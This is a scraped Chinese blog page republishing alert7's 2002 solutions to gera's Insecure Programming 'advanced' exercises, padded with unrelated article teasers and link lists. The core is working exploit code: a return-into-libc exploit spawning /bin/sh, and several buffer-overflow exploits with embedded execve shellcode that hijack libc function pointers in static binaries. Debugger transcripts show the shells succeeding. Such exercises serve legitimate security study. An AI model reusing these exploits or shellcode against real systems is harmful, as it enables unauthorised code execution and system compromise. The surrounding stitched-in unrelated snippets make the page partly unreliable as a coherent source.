【分析】非安全编程演示之格式化字符串篇

ROS fuerte源码溯源:rxconsole与roslaunch设计逻辑解析 ROS(Robot Operating System)是一套面向机器人开发的元操作系统,其核心在于松耦合通信模型与分层工具链设计。理解ROS演进逻辑,需回归早期版本如fuerte(2012),它确立了日志统一发布到/rossout话题、launch文件驱动进程生命周期、参数与节点解耦等关键原理。这些设计直接塑造了ROS 2中rqt_console、launch_ros和Parameter Server的行为范式。技术价值在于:暴露底层机制,降低抽象泄漏风险;支撑多机部署、启动时序控制与动态参数调试等工程刚需 阅读详情

非安全编程演示之高级篇


创建时间:2002-01-17
文章属性:原创
文章来源: http://www.xfocus.org/
文章提交: alert7 (sztcww_at_sina.com)

非安全编程演示之高级篇

by alert7 < alert7@netguard.com.cn >
主页: http://www.xfocus.org/  http://www.whitecell.org/
公司:华泰网安 < http://www.netguard.com.cn >
时间: 2002-1-17

★★ 三  高级篇

测试环境 redhat 6.2 glibc 2.1.3


★ 3.1 演示一

/* e1.c                                                     *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman! */

int main(int argv,char **argc) {
                      /* Can you do it changing the stack?  */
                      /* Can you do it without changing it? */
    printf(argc[1]);
    while(1);
}
请参考拙作<<利用格式化串覆盖*printf()系列函数本身的返回地址>>


★ 3.2 演示二

/* e2.c                                                      *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
*
    char buf[100];

    while (1) {
        scanf("%100s",buf);
        system(buf);
    }

* But, you cannot execute code in stack.
*/

int main(int argv,char **argc) {
    char buf[256];
    strcpy(buf,argc[1]);
}
唯一需要满足的条件是stack是不能运行的。

[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x61616161 in ?? ()

/* exp_e2.c
* alert7 exploit for e2
*/
#include <stdio.h>

#define RET_POSITION                     260
#define NOP                            0x90
#define BUFADDR                0xbffff968
#define SYSTEM            0x4005aae0
char shell[]="/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[1024],*ptr;
        int retaddr;
    int i;

    retaddr=SYSTEM;
    if(argc>1)
                retaddr=SYSTEM+atoi(argv[1]);
    
    bzero(buff,1024);
        for(i=0;i<300;i++)
        buff[i]=NOP;
    *((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell);
    *((long *)&(buff[RET_POSITION]))=retaddr;
    *((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//当system返回时候的eip
    *((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3;
        ptr=buff+RET_POSITION+12;
        strcpy(ptr,shell);
        printf("Jump to 0x%08x/n",retaddr);

        execl("./e2","e2",buff,0);
}
[alert7@redhat]$ gcc -o exp_e2 exp_e2.c
[alert7@redhat]$ ./exp_e2
Jump to 0x4005aae0
bash$ id
uid=501(alert7) gid=501(alert7) groups=501(alert7)
bash$ exit
exit
Segmentation fault (core dumped)

内存增长方向
------>
| xxxxxx | EBP | EIP | EIP1 | 参数指针 | /bin/sh |
|  260个bytes  |     |
                     |
                     |-->main执行ret后的esp,ebp值为EBP
EIP1为system调用后的返回地址(当然,假如system返回的话)
参数指针指向/bin/sh
这里我们使EIP1为0xaabbccdd,所以/bin/sh一返回就在0xaabbccdd coredump了。
也就是说只要我们精心构造,就可以构造一个函数调用链。比如我们需要调用
setuid(0)->system("/bin/sh")->exit(0);

该exploit可以成功,很大程度上是因为SYSTEM的地址不包含0,也就是stack不
可执行补丁没有使library库mmap到内存低端。

更多的击败不可执行stack补丁可参考:
<<绕过Linux不可执行堆栈保护的方法浅析>> by waring3 <waring3@nsfocus.com>
和最近p58上的
<<The advanced return-into-lib(c) exploits>> by Nergal <nergal@owl.openwall.com>


★ 3.3 演示三

/* e3.c                                                      *
* specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat                            */

char buf[256];

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
    setenv("ABO",argc[2],1);
    while(1);
}
[alert7@redhat]$ uname -a
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
[alert7@redhat]$ gcc -o e3 e3.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) bt
#0  0x61616161 in ?? ()
#1  0x804ac85 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3209
#2  0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c)
    at malloc.c:1770
#3  0x804abb3 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3196
#4  0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
    combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145
#5  0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
    replace=1) at ../sysdeps/generic/setenv.c:263
#6  0x80481ce in main ()
#7  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3,
    argv=0xbffffb24, init=0x80480b4 <_init>, fini=0x80718ac <_fini>,
    rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

根据上面的条件,我们可以完全不必理会setenv()内部一系列到底发生了什么。只需要知道
在buf+264的地方放入一个值,该值就会变成EIP。

/* exp_e3.c
* alert7 exploit for static e3
*/
#include <stdio.h>

#define RET_POSITION                     264
#define NOP                            0x90
#define BUFADDR                0x807bf60//0xaabbccdd
char shellcode[]=
        "/xeb/x1f"                      /* jmp 0x1f              */
        "/x5e"                          /* popl %esi             */
        "/x89/x76/x08"                  /* movl %esi,0x8(%esi)   */
        "/x31/xc0"                      /* xorl %eax,%eax        */
        "/x88/x46/x07"                  /* movb %eax,0x7(%esi)   */
        "/x89/x46/x0c"                  /* movl %eax,0xc(%esi)   */
        "/xb0/x0b"                      /* movb $0xb,%al         */
        "/x89/xf3"                      /* movl %esi,%ebx        */
        "/x8d/x4e/x08"                  /* leal 0x8(%esi),%ecx   */
        "/x8d/x56/x0c"                  /* leal 0xc(%esi),%edx   */
        "/xcd/x80"                      /* int $0x80             */
        "/x31/xdb"                      /* xorl %ebx,%ebx        */
        "/x89/xd8"                      /* movl %ebx,%eax        */
        "/x40"                          /* inc %eax              */
        "/xcd/x80"                      /* int $0x80             */
        "/xe8/xdc/xff/xff/xff"          /* call -0x24            */
        "/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[1024],*ptr;
        int retaddr;
    int i;

    retaddr=BUFADDR;
    if(argc>1)
                retaddr=BUFADDR+atoi(argv[1]);
    
    bzero(buff,1024);
    for(i=0;i<1024;i+=4)
        *((long *)&(buff[i]))=retaddr;

        for(i=0;i<100;i++)
        buff[i]=NOP;

        ptr=buff+50;
        for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];  
        //现在buff的内容为
        //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA/0
         printf("Jump to 0x%08x/n",retaddr);

        execl("./e3","e3",buff,0);
}
[alert7@redhat62 alert7]$ gcc -o exp_e3 exp_e3.c
[alert7@redhat62 alert7]$ ./exp_e3
Jump to 0x0807bf60
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)

shellcode是放在heap里的,所以可能可以绕过一些不可执行stack的保护。
需猜测shellcode在heap中的地址,也失去了一些通用性。

跟踪了半天,发现还是静态编译的__libc_malloc()的问题

0x8049ff5 <__libc_malloc+89>:   mov    0x807c068,%eax
0x8049ffa <__libc_malloc+94>:   test   %eax,%eax
0x8049ffc <__libc_malloc+96>:   je     0x804a010 <__libc_malloc+116>
0x8049ffe <__libc_malloc+98>:   push   $0x0
0x804a000 <__libc_malloc+100>:  call   *%eax

(gdb) i reg eax
eax            0x61616161       1633771873
(gdb)  x 0x807c068
0x807c068 <__libc_internal_tsd_get>:    0x61616161
(gdb) p & __libc_internal_tsd_get
$1 = (void *(**)()) 0x807c068
(gdb) p  __libc_internal_tsd_get
$2 = (void *(*)()) 0x61616161

我们的数据覆盖到了__libc_internal_tsd_get()函数地址,使
__libc_internal_tsd_get()指向0x61616161.所以Segmentation fault
不知道__libc_internal_tsd_get()在这里有何作用?暂时我也不知道,郁闷~


★ 3.4 演示四

/* e4.c                                                      *
* specially crafted to feed your brain by gera@core-sdi.com */

/* %what the hell?                                           */

char buf[256];

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
    printf("live at 100%!");
    while(1);
}

[alert7@redhat]$ gcc -o e4 e4.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1408'`
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1409'`
Segmentation fault (core dumped)
[alert7@redhat]$ gdb -q e4 core
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) bt
#0  0x61616161 in ?? ()
#1  0x8048681 in printf (format=0x8071548 "live at 100%!") at printf.c:31
#2  0x80481c3 in main ()
#3  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=2,
    argv=0xbffff6a4, init=0x80480b4 <_init>, fini=0x807150c <_fini>,
    rtld_fini=0, stack_end=0xbffff69c) at ../sysdeps/generic/libc-start.c:92
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x518'``perl -e 'print "b"x891'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q                                        
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626161 in ?? ()
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x516'``perl -e 'print "b"x893'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q                                        
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()

根据上面的条件,我们可以完全不必理会printf()内部到底发生了什么。只需要知道
在buf+516的地方放入一个值,该值就会变成EIP。

/* exp_e4.c
* alert7 exploit for static e4
*/
#include <stdio.h>

#define RET_POSITION                     516
#define NOP                            0x90
#define BUFADDR                0x807bbc0//0xaabbccdd
char shellcode[]=
        "/xeb/x1f"                      /* jmp 0x1f              */
        "/x5e"                          /* popl %esi             */
        "/x89/x76/x08"                  /* movl %esi,0x8(%esi)   */
        "/x31/xc0"                      /* xorl %eax,%eax        */
        "/x88/x46/x07"                  /* movb %eax,0x7(%esi)   */
        "/x89/x46/x0c"                  /* movl %eax,0xc(%esi)   */
        "/xb0/x0b"                      /* movb $0xb,%al         */
        "/x89/xf3"                      /* movl %esi,%ebx        */
        "/x8d/x4e/x08"                  /* leal 0x8(%esi),%ecx   */
        "/x8d/x56/x0c"                  /* leal 0xc(%esi),%edx   */
        "/xcd/x80"                      /* int $0x80             */
        "/x31/xdb"                      /* xorl %ebx,%ebx        */
        "/x89/xd8"                      /* movl %ebx,%eax        */
        "/x40"                          /* inc %eax              */
        "/xcd/x80"                      /* int $0x80             */
        "/xe8/xdc/xff/xff/xff"          /* call -0x24            */
        "/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[2048],*ptr;
        int retaddr;
    int i;

    retaddr=BUFADDR;
    if(argc>1)
                retaddr=BUFADDR+atoi(argv[1]);

    bzero(buff,2048);
    for(i=0;i<2000;i++)
        buff[i]=NOP;
    *((long *)&(buff[RET_POSITION]))=retaddr;

        ptr=buff+50;
        for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];  
        printf("Jump to 0x%08x/n",retaddr);

        execl("./e4","e4",buff,0);
}

[alert7@redhat62 alert7]$ ./exp_e4
Jump to 0x0807bbc0
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)
通用性没有,需猜测BUFADDR地址。

程序问题所在:

0x8050101 <_IO_vfprintf+9361>:  mov    0x807bd40(,%edx,4),%edx
0x8050108 <_IO_vfprintf+9368>:  test   %edx,%edx //此时edx=0x62626262
0x805010a <_IO_vfprintf+9370>:  je     0x8050130 <_IO_vfprintf+9408>
0x805010c <_IO_vfprintf+9372>:  add    $0x28,%eax
0x805010f <_IO_vfprintf+9375>:  push   %eax
0x8050110 <_IO_vfprintf+9376>:  push   $0x1
0x8050112 <_IO_vfprintf+9378>:  mov    0xfffffab4(%ebp),%ecx
0x8050118 <_IO_vfprintf+9384>:  push   %ecx
0x8050119 <_IO_vfprintf+9385>:  call   *%edx //这里出了问题
(gdb) x 0x807bd40
0x807bd40 <__printf_arginfo_table>:     0x61616161

只要是printf("%X");,该X为printf认识不到的或者说是自定义的格式,就会利用
__printf_arginfo_table调用相应的函数来解释该格式,而__printf_arginfo_table
数组被我们数据覆盖,所以我们可以得到控制权。
这是我的粗略的理解,具体的还需要详细的分析printf函数的执行过程。
错误之处还请斧正。

★ 3.5 演示五

/* e5.c                                                      *
* specially crafted to feed your brain by gera@core-sdi.com */

/* is this possible?                                         */

char buf[256];

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
    perror(argc[2]);
    while(1);
}

静态编译时
(gdb) p &buf
$1 = (<data variable, no debug info> *) 0x807bc00

[alert7@redhat]$ gcc -o e5 e5.c -static
[alert7@redhat]$ ./e5 `perl -e 'print "a"x255'` a
a: Success

[alert7@redhat]$ ./e5 `perl -e 'print "a"x256'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x807a000, nb=48) at malloc.c:2762
2762    malloc.c: No such file or directory.
(gdb) bt
#0  chunk_alloc (ar_ptr=0x807a000, nb=48) at malloc.c:2762
#1  0x8049cf4 in __libc_malloc (bytes=44) at malloc.c:2696
#2  0x804e74a in _nl_make_l10nflist (l10nfile_list=0x807b434, dirlist=0x8071795 "/usr/share/locale", dirlist_len=18, mask=0,
    language=0xbffff628 "en_US", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, special=0x0, sponsor=0x0,
    revision=0x0, filename=0xbffff630 "LC_MESSAGES/libc.mo", do_allocate=0) at l10nflist.c:201
#3  0x804dd30 in _nl_find_domain (dirname=0x8071795 "/usr/share/locale", locale=0xbffff628 "en_US",
    domainname=0xbffff630 "LC_MESSAGES/libc.mo") at finddomain.c:113
#4  0x804d8b0 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:395
#5  0x804d06d in __strerror_r (errnum=0, buf=0xbffff6cc "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#6  0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#7  0x80481c7 in main ()
#8  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffb24, init=0x80480b4 <_init>,
    fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92
(gdb)
[alert7@redhat]$ ./e5 `perl -e 'print "a"x257'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x8070061, nb=48) at malloc.c:2762
2762    malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x258'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x8006161, nb=48) at malloc.c:2752
2752    malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x259'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x616161, nb=48) at malloc.c:2752
2752    malloc.c: No such file or directory.
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x260'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  chunk_alloc (ar_ptr=0x61616161, nb=48) at malloc.c:2752
2752    malloc.c: No such file or directory.

./e5 `perl -e 'print "a"x260'` a  ---./e5 `perl -e 'print "a"x264'` a都是上面这种情况

[alert7@redhat]$ ./e5 `perl -e 'print "a"x265'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x266'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x6161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) bt
#0  0x61616161 in ?? ()
#1  0x804e74a in _nl_make_l10nflist (l10nfile_list=0x807b434, dirlist=0x8071795 "/usr/share/locale", dirlist_len=18, mask=0,
    language=0xbffff628 "en_US", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, special=0x0, sponsor=0x0,
    revision=0x0, filename=0xbffff630 "LC_MESSAGES/libc.mo", do_allocate=0) at l10nflist.c:201
#2  0x804dd30 in _nl_find_domain (dirname=0x8071795 "/usr/share/locale", locale=0xbffff628 "en_US",
    domainname=0xbffff630 "LC_MESSAGES/libc.mo") at finddomain.c:113
#3  0x804d8b0 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:395
#4  0x804d06d in __strerror_r (errnum=0, buf=0xbffff6cc "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#5  0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#6  0x80481c7 in main ()
#7  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffb24, init=0x80480b4 <_init>,
    fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

./e5 `perl -e 'print "a"x268'` a---./e5 `perl -e 'print "a"x364'` a都是如上

[alert7@redhat]$ ./e5 `perl -e 'print "a"x365'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
282     dcgettext.c: No such file or directory.
(gdb) x/i 0x804d683
0x804d683 <__dcgettext+67>:     pushl  0x4(%eax)
(gdb) i reg eax
eax            0x61     97
(gdb) quit
[alert7@redhat]$ ./e5 `perl -e 'print "a"x368'` a //这以后都是老样子
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e5 core -q
Core was generated by `./e5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
282     dcgettext.c: No such file or directory.
(gdb) x/i 0x804d683
0x804d683 <__dcgettext+67>:     pushl  0x4(%eax)
(gdb) i reg eax
eax            0x61616161       1633771873
(gdb) bt
#0  0x804d683 in __dcgettext (domainname=0x8071786 "libc", msgid=0x80727d4 "Success", category=5) at dcgettext.c:282
#1  0x804d06d in __strerror_r (errnum=0, buf=0xbffff65c "", buflen=1024) at ../sysdeps/generic/_strerror.c:68
#2  0x80486ae in perror (s=0xbffffcc8 "a") at perror.c:38
#3  0x80481c7 in main ()
#4  0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3, argv=0xbffffab4, init=0x80480b4 <_init>,
    fini=0x807155c <_fini>, rtld_fini=0, stack_end=0xbffffaac) at ../sysdeps/generic/libc-start.c:92

argv[1]长度限制在268----364
buff+264的地方就是eip

/* exp_e5.c
* alert7 exploit for static e5
*/
#include <stdio.h>
#define RET_POSITION                    264
#define NOP                            0x90
#define BUFADDR                0x807bc00//0xaabbccdd
char shellcode[]=
        "/xeb/x1f"                      /* jmp 0x1f              */
        "/x5e"                          /* popl %esi             */
        "/x89/x76/x08"                  /* movl %esi,0x8(%esi)   */
        "/x31/xc0"                      /* xorl %eax,%eax        */
        "/x88/x46/x07"                  /* movb %eax,0x7(%esi)   */
        "/x89/x46/x0c"                  /* movl %eax,0xc(%esi)   */
        "/xb0/x0b"                      /* movb $0xb,%al         */
        "/x89/xf3"                      /* movl %esi,%ebx        */
        "/x8d/x4e/x08"                  /* leal 0x8(%esi),%ecx   */
        "/x8d/x56/x0c"                  /* leal 0xc(%esi),%edx   */
        "/xcd/x80"                      /* int $0x80             */
        "/x31/xdb"                      /* xorl %ebx,%ebx        */
        "/x89/xd8"                      /* movl %ebx,%eax        */
        "/x40"                          /* inc %eax              */
        "/xcd/x80"                      /* int $0x80             */
        "/xe8/xdc/xff/xff/xff"          /* call -0x24            */
        "/bin/sh";                      /* .string /"/bin/sh/"   */

int main(int argc,char **argv)
{
        char buff[300],*ptr;
        int retaddr;
    int i;

    retaddr=BUFADDR;
    if(argc>1)
                retaddr=BUFADDR+atoi(argv[1]);

    bzero(buff,300);
    for(i=0;i<299;i++)
        buff[i]=NOP;
    *((long *)&(buff[RET_POSITION]))=retaddr;

        ptr=buff+50;
        for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];  
        printf("Jump to 0x%08x/n",retaddr);

        execl("./e5","e5",buff,"a",0);
}
[alert7@redhat62 alert7]$ ./exp_e5
Jump to 0x0807bc00 //地址中有/0 , :(
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ ./exp_e5 1
Jump to 0x0807bc01
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)


同样跟踪了下程序

(gdb) disass __libc_malloc
Dump of assembler code for function __libc_malloc:
...
0x8049c95 <__libc_malloc+89>:   mov    0x807bd08,%eax
0x8049c9a <__libc_malloc+94>:   test   %eax,%eax
0x8049c9c <__libc_malloc+96>:   je     0x8049cb0 <__libc_malloc+116>
0x8049c9e <__libc_malloc+98>:   push   $0x0
0x8049ca0 <__libc_malloc+100>:  call   *%eax
...
(gdb) i reg eax
eax            0x61616161       1633771873
(gdb) x 0x807bd08
0x807bd08 <__libc_internal_tsd_get>:    0x61616161
(gdb) p & __libc_internal_tsd_get
$2 = (void *(**)()) 0x807bd08
(gdb) p  __libc_internal_tsd_get
$3 = (void *(*)()) 0x61616161

出现的问题同3.3


★ 小结:

   gera就象是老师,出了这份试卷,而我则是学生做了这份试卷,所以
错误之处还请各位老师指正。或者探讨什么的都可以。有则改之,无则嘉勉。

再次感谢gera@core-sdi.com为我们出的这份试卷
http://community.core-sdi.com/~gera/InsecureProgramming/InsecureProgramming.tar.gz
Discord开发者社区并购:认知资产化与知识操作系统实践 在AI工程实践中,开发者社区正从信息交流场域升级为可量化、可复用的认知资产。其核心价值在于解决官方文档与学术论文难以覆盖的真实场景问题——如LoRA微调loss异常、RAG召回率崩溃等高频故障。依托Discord的即时性、上下文保真与轻量协作闭环能力,高质量社区已构建起包含问题诊断、代码验证、版本化沉淀的‘技术认知操作系统’。这种以解决密度和知识精度为标尺的资产形态,正深度赋能AI课程设计、SaaS产品迭代与B2B信任建立。Learn AI Together与Towards AI的并购案例,揭示了社区治理、 阅读详情

相关推荐

gperftools 分析应用程序性能

1.安装libunwind库 2.安装google-perftools 3.为google-perftools添加线程目录 4.修改tomcat启动文件startup.sh 6.分析日志 7.btrace gperftools是Google提供的一套工具,其中的一个功能是CPU profiler,用于分析程序性能,找到程序的性能瓶颈。 1.安装libunwind库 可以从http...

Let it go 1993

GDB调试指南

GDB调试指南

m0_53157173的博客 1460

瑞芯微rv1126 rtsp+mpp+rga取流

瑞芯微rv1109 rtsp+mpp+rga取流

ZuoSeDiao的博客 6340

strace linux 下程序的系统调用和信号调用跟踪工具

strace 简介 strace 命令是一种强大的工具, 能够显示任何由用户空间程式发出的系统调用. strace 显示这些调用的参数并返回符号形式的值. strace 从内核接收信息, 而且无需以任何特别的方式来构建内核. strace 的每一行输出包括系统调用名称, 然后是参数和返回值. 调用方法为: 调用: strace [ -dffhiqrtttTvxx ] [ -acolumn

yuwenliang的专栏 1083

Android TV远程调试全攻略:从开发者模式开启到ADB连接(附常见问题排查)

本文提供了一份详尽的Android TV远程调试实战指南,涵盖从开启开发者模式、配置网络ADB连接到高效调试与深度排错的完整流程。文章重点解析了通过Wi-Fi进行远程调试的核心步骤,并针对常见的连接失败、授权问题等提供了系统性的解决方案,旨在帮助开发者为Android TV应用开发构建稳定高效的调试环境。

1348

Xilinx IP库在Modelsim/Questasim中的高效仿真实践

本文详细介绍了在Modelsim/Questasim中高效仿真Xilinx FPGA设计的核心方法。针对仿真时常见的IP核缺失错误,重点解析了两种主流解决方案:使用Vivado的compile_simlib命令自动编译完整仿真库,以及利用export_simulation命令为特定工程生成仿真脚本。文章还提供了手动配置库的深入理解、实战排错步骤及高级避坑指南,帮助用户构建稳定、高效的独立仿真环境。

sony5的博客 1231

Linux 文本内容处理小记

这篇笔记用来整理目前用过或者见过的一些文本处理软件,意在提升命令行和脚本对文本处理效率,发现一些可能没关注的实用技巧。

码农终结者的博客 1435

Cadence Virtuoso实战:NMOS差分放大器设计与SPICE仿真全解析

本文详细解析了使用Cadence Virtuoso设计NMOS差分放大器并进行SPICE仿真的全流程。从基础设计要点、原理图绘制到工作点分析与性能调优,提供了实用的设计技巧和常见问题解决方案,帮助工程师高效完成模拟集成电路设计。重点介绍了差分放大器的关键参数设置、饱和区优化及版图设计注意事项,适用于ADC、DAC等高性能电路开发。

weixin_28340315的博客 612

【DNS】Linux上非root用户无法使用/etc/hosts解析条目问题的排查处理

Linux上非root用户无法使用/etc/hosts解析条目问题的排查处理

michaelwoshi的博客 4651

有限元分析必看:如何用ANSYS检查关键区域的网格质量(附操作截图)

